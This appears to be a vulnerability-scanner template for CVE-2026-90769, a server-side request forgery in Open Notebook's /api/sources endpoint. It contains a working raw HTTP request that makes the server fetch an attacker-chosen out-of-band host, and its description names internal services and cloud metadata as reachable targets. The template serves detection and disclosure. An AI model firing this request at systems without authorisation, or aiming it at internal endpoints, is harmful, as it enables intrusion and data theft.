id: CVE-2026-90769

info:
  name: "Open Notebook - Server-Side Request Forgery"
  author: vedas-arpsyndicate
  severity: high
  description: |
    Open Notebook before 1.11.0 does not validate the user-supplied URL in the
    POST /api/sources endpoint (api/routers/sources.py). When a source of type
    "link" is created, the application server fetches the supplied url directly,
    allowing an attacker to coerce server-side requests to internal services,
    localhost-bound services, or cloud metadata endpoints. This template submits
    a link source pointing at an out-of-band collaborator host and confirms the
    SSRF from the resulting interaction.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-90769&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=open-notebook&match=exact
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
    cvss-score: 8.3
    cve-id: CVE-2026-90769
    cwe-id: CWE-918
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2026,open-notebook,ssrf,oast

http:
  - raw:
      - |
        POST /api/sources HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"type":"link","url":"http://{{interactsh-url}}"}

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"